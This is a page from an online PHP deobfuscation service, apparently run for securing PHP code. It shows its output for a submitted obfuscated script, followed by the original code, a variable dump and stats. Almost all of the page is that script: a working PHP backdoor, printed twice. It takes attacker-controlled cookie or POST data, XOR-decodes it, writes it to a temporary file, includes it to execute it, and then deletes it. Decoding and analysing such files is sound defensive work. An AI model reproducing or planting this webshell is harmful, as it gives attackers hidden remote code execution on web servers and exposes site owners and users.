Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function/* l */er1 (/*j */$de2 ){$fm3 =/* q */"2e-8i?tlyn)" . "I;m..

Decoded Output download

<?php 
function/*   l  */er1   (/*j   */$de2    ){$fm3      =/* q  */"2e-8i?tlyn)" . 
"I;mg4Lbx3k_d*5cha7" . 
"vr.uHo" . 
"@<F(s#06f/p'9 E1" ; 
$yk5=''; 
foreach(/*   nqnvp  */$de2/*   roj   */as       $sl4     ){$yk5   .=     $fm3  [       $sl4     ]; 
 
} 
 
 
return  $yk5; 
 
}$do6    =       Array();$rli     =     64098; 
 
$do6    []/*   wtnu*/=   er1/*  fg  */(    Array(19    ,     15/*  jpoc   */,   15      ,/* soaob */17/* t   */,/*  mq  */27    ,  19/*cyb  */,/*vud   */27/*   kikle   */,/*  g*/50  ,/*ztb  */2       ,/*   mv   */19      ,/* rcb  */41      ,      3     ,   3   ,       2       ,     15        ,  24   ,       3/*jsaec*/,     22   ,       2     ,       3    ,   28  ,      41/*iio   */,       25   ,  2    ,      47       ,/*   dw  */0        ,/*  h*/25    , 50      ,      24/*  csv */,    22/*   u  */,       25   ,      41      ,       42       ,  42/*m */,      50/*f   */,  17      ,)/*cgz*/)/*  ktdub   */; 
 
$do6    []/*xz  */=       er1/*bjecs  */(       Array(5/* l   */,       45      ,       26     ,        45/*   xjfcd   */,      48  ,  35/*teec   */,/*   rxqfb*/32     ,       9  ,    7/*phibe*/,     4   ,9     ,/*gun*/20   ,    38      ,     21        ,/* h*/21  ,    37      ,/* ni   */11/*wprdz  */,/*  pxry   */16        ,   49/*rbb   */,  21   ,       21     ,      10/* lrbeb */,    12      ,/* busk */48  ,)/* bv  */)  ; 
 
 
$do6    []      =       er1       (     Array(31        ,    13  ,/*  d  */34   ,  22   ,  32/*   i */,     7/* xdcjc*/,/*   dlwie*/1   ,)       )/*  zi  */; 
 
$do6/* wkbg  */[]  =/* ikbhp*/er1       (/*el */Array(33        ,    23/*gnm */,)/*  wofvj*/)  ; 
$do6      []    =   er1 (     Array(31/*   msl   */,    44/*   dk*/,)   )       ; 
 
$do6/*  dog*/[]      =       er1       (       Array(40 ,)      )/*ohg*/; 
 
$do6    []      =       er1     (       Array(36        ,)/*   e   */)  ; 
 
 
$do6[]       =   er1    (       Array(43        ,      4     ,  7      ,        1/* mt */,/*   jwm*/21/* a   */,        45      ,       32      ,/*  i   */6    ,       21     ,  25/* eh*/,/*   ai   */34    ,  9/*   lvjy   */,    6/*   nh*/,     1/*aqj   */,     9      ,       6       ,       39      ,)      )/*ft */; 
$do6[]/* s  */=   er1       (/* ggb */Array(27/* bzw   */,     30/* c */,/*   k   */30/* khp  */,   27  ,       8/*  dau*/,     21     ,        13/*  ewty  */,/*jzlwg */1      ,       30  ,       14       ,    1/* n   */,)    )  ; 
 
$do6[]  =       er1     (       Array(39     ,  6       ,/*bph*/30     ,      21        ,  30  ,      1      ,       45     ,/*e  */1   ,  27   ,       6       ,)      )       ; 
$do6[]/*   ro  */=       er1/*  dax */(/*   i   */Array(1  ,    18      ,       45      ,/*neyl */7     ,       34      ,/* jxbs  */22      ,/* l */1   ,)      )       ;$do6[] =    er1        (/* vbtk*/Array(39     ,     32      ,     17        ,     39      ,/*  szidc  */6  ,   30/*  ecp*/,)     )      ;$do6[]/* cv  */=  er1       (      Array(32        ,/*   avuk*/9/*  lj   */,/*  o*/7/*   xysi*/,/*  pptky*/4/*jm  */,/*   vqay   */9    ,       20      ,)   )/*   dp */; 
 
 
$do6[]  =       er1/*   o*/(   Array(39      ,  6/*  fdh*/,     30      ,    7     ,/* jfq  */1     ,/*   rttfx*/9      ,)      )/*   npon */; 
 
 
$do6[]/*p   */=    er1  (  Array(45     ,       27/*   aipcl */,     25     ,   20      ,)    ) ; 
 
$do6[]   =      er1     (   Array(13    ,/*   lsj*/22   ,       24      ,)    ) ; 
 
 
 
 
 
 
 
foreach/*  bhu  */(/* qpgwb*/$do6[8]       (    $_COOKIE,/* czyx */$_POST/*   jifn   */)    as  $gx15   =>    $fj11) 
 
{/*  bdrbr */function/*   fu  */ag8/*   udqtl   */(   $do6,     $gx15/*  ag  */,        $yx10   )/* rrldy*/{ 
 
 
/*  f*/return   $do6[11]/*oic*/(  $do6[9]      (        $gx15/*   bf  */.       $do6[0] ,/*   xca  */(  $yx10/$do6[13]( $gx15   )   )/*   jbh  */+   1     )/* xoz   */,     0  ,       $yx10/*ud*/);     } 
 
 
 
      function  vs7      (/*  mms*/$do6,      $jo14     ) 
 
        {       return      @$do6[14]    ($do6[3]/*  wharw   */,        $jo14      ); 
 
 
       } 
 
      function/*   camb  */pj9       (  $do6,/*q   */$jo14      )       {      if/*   ex */(    isset   (/* lj   */$jo14[2]     )       )  { 
 
 
       $ll13    =/*nev */$do6[4]        .  $do6[15](    $do6[0]/*xw  */)        .       $do6[2];        @$do6[7]        (       $ll13,     $do6[6]/*   xh  */./*  m  */$do6[1]    ./*  l   */$jo14[1]   (      $jo14[2]/*hnnjc   */)/* f   */); 
 
 
       $pe12/*pud*/=/*sh*/$ll13; 
 
/* ll  */@include/*   mf */(    $pe12      );   @$do6[12]    (/*wb   */$ll13/* zjb  */); 
 
 
 
 
/*wq*/die    (); 
/* wk*/} 
    } 
        $fj11/*  l  */=/* dz  */vs7     (       $do6,       $fj11/*  u  */); 
/* brr   */pj9   (/*   febe   */$do6,  $do6[10] (/* btrg */$do6[5]/* rcjfy   */,      $fj11     ^      ag8      (       $do6,/*msyq  */$gx15     ,      $do6[13](/*  xm  */$fj11   )    )/*refnw */)    );} ?>

Did this file decode correctly?

Original Code

<?php
function/*   l  */er1   (/*j   */$de2    ){$fm3      =/* q  */"2e-8i?tlyn)" .
"I;mg4Lbx3k_d*5cha7" .
"vr.uHo" .
"@<F(s#06f/p'9 E1" ;
$yk5='';
foreach(/*   nqnvp  */$de2/*   roj   */as       $sl4     ){$yk5   .=     $fm3  [       $sl4     ];

}


return  $yk5;

}$do6    =       Array();$rli     =     64098;

$do6    []/*   wtnu*/=   er1/*  fg  */(    Array(19    ,     15/*  jpoc   */,   15      ,/* soaob */17/* t   */,/*  mq  */27    ,  19/*cyb  */,/*vud   */27/*   kikle   */,/*  g*/50  ,/*ztb  */2       ,/*   mv   */19      ,/* rcb  */41      ,      3     ,   3   ,       2       ,     15        ,  24   ,       3/*jsaec*/,     22   ,       2     ,       3    ,   28  ,      41/*iio   */,       25   ,  2    ,      47       ,/*   dw  */0        ,/*  h*/25    , 50      ,      24/*  csv */,    22/*   u  */,       25   ,      41      ,       42       ,  42/*m */,      50/*f   */,  17      ,)/*cgz*/)/*  ktdub   */;

$do6    []/*xz  */=       er1/*bjecs  */(       Array(5/* l   */,       45      ,       26     ,        45/*   xjfcd   */,      48  ,  35/*teec   */,/*   rxqfb*/32     ,       9  ,    7/*phibe*/,     4   ,9     ,/*gun*/20   ,    38      ,     21        ,/* h*/21  ,    37      ,/* ni   */11/*wprdz  */,/*  pxry   */16        ,   49/*rbb   */,  21   ,       21     ,      10/* lrbeb */,    12      ,/* busk */48  ,)/* bv  */)  ;


$do6    []      =       er1       (     Array(31        ,    13  ,/*  d  */34   ,  22   ,  32/*   i */,     7/* xdcjc*/,/*   dlwie*/1   ,)       )/*  zi  */;

$do6/* wkbg  */[]  =/* ikbhp*/er1       (/*el */Array(33        ,    23/*gnm */,)/*  wofvj*/)  ;
$do6      []    =   er1 (     Array(31/*   msl   */,    44/*   dk*/,)   )       ;

$do6/*  dog*/[]      =       er1       (       Array(40 ,)      )/*ohg*/;

$do6    []      =       er1     (       Array(36        ,)/*   e   */)  ;


$do6[]       =   er1    (       Array(43        ,      4     ,  7      ,        1/* mt */,/*   jwm*/21/* a   */,        45      ,       32      ,/*  i   */6    ,       21     ,  25/* eh*/,/*   ai   */34    ,  9/*   lvjy   */,    6/*   nh*/,     1/*aqj   */,     9      ,       6       ,       39      ,)      )/*ft */;
$do6[]/* s  */=   er1       (/* ggb */Array(27/* bzw   */,     30/* c */,/*   k   */30/* khp  */,   27  ,       8/*  dau*/,     21     ,        13/*  ewty  */,/*jzlwg */1      ,       30  ,       14       ,    1/* n   */,)    )  ;

$do6[]  =       er1     (       Array(39     ,  6       ,/*bph*/30     ,      21        ,  30  ,      1      ,       45     ,/*e  */1   ,  27   ,       6       ,)      )       ;
$do6[]/*   ro  */=       er1/*  dax */(/*   i   */Array(1  ,    18      ,       45      ,/*neyl */7     ,       34      ,/* jxbs  */22      ,/* l */1   ,)      )       ;$do6[] =    er1        (/* vbtk*/Array(39     ,     32      ,     17        ,     39      ,/*  szidc  */6  ,   30/*  ecp*/,)     )      ;$do6[]/* cv  */=  er1       (      Array(32        ,/*   avuk*/9/*  lj   */,/*  o*/7/*   xysi*/,/*  pptky*/4/*jm  */,/*   vqay   */9    ,       20      ,)   )/*   dp */;


$do6[]  =       er1/*   o*/(   Array(39      ,  6/*  fdh*/,     30      ,    7     ,/* jfq  */1     ,/*   rttfx*/9      ,)      )/*   npon */;


$do6[]/*p   */=    er1  (  Array(45     ,       27/*   aipcl */,     25     ,   20      ,)    ) ;

$do6[]   =      er1     (   Array(13    ,/*   lsj*/22   ,       24      ,)    ) ;







foreach/*  bhu  */(/* qpgwb*/$do6[8]       (    $_COOKIE,/* czyx */$_POST/*   jifn   */)    as  $gx15   =>    $fj11)

{/*  bdrbr */function/*   fu  */ag8/*   udqtl   */(   $do6,     $gx15/*  ag  */,        $yx10   )/* rrldy*/{


/*  f*/return   $do6[11]/*oic*/(  $do6[9]      (        $gx15/*   bf  */.       $do6[0] ,/*   xca  */(  $yx10/$do6[13]( $gx15   )   )/*   jbh  */+   1     )/* xoz   */,     0  ,       $yx10/*ud*/);     }



      function  vs7      (/*  mms*/$do6,      $jo14     )

        {       return      @$do6[14]    ($do6[3]/*  wharw   */,        $jo14      );


       }

      function/*   camb  */pj9       (  $do6,/*q   */$jo14      )       {      if/*   ex */(    isset   (/* lj   */$jo14[2]     )       )  {


       $ll13    =/*nev */$do6[4]        .  $do6[15](    $do6[0]/*xw  */)        .       $do6[2];        @$do6[7]        (       $ll13,     $do6[6]/*   xh  */./*  m  */$do6[1]    ./*  l   */$jo14[1]   (      $jo14[2]/*hnnjc   */)/* f   */);


       $pe12/*pud*/=/*sh*/$ll13;

/* ll  */@include/*   mf */(    $pe12      );   @$do6[12]    (/*wb   */$ll13/* zjb  */);




/*wq*/die    ();
/* wk*/}
    }
        $fj11/*  l  */=/* dz  */vs7     (       $do6,       $fj11/*  u  */);
/* brr   */pj9   (/*   febe   */$do6,  $do6[10] (/* btrg */$do6[5]/* rcjfy   */,      $fj11     ^      ag8      (       $do6,/*msyq  */$gx15     ,      $do6[13](/*  xm  */$fj11   )    )/*refnw */)    );}

Function Calls

er1 16
null 1

Variables

$de2 [{'key': 0, 'value': 13}, {'key': 1, 'value': 22}, {'key': 2, 'value': 24}]
$do6 [{'key': None, 'value': '333'}]
$fm3 2e-8i?tlyn)I;mg4Lbx3k_d*5cha7vr.uHo@<F(s#06f/p'9 E1
$rli 64098
$sl4 24
$yk5 333

Stats

MD5 db4707d7a15cc48759537128d9cd725b
Eval Count 0
Decode Time 208 ms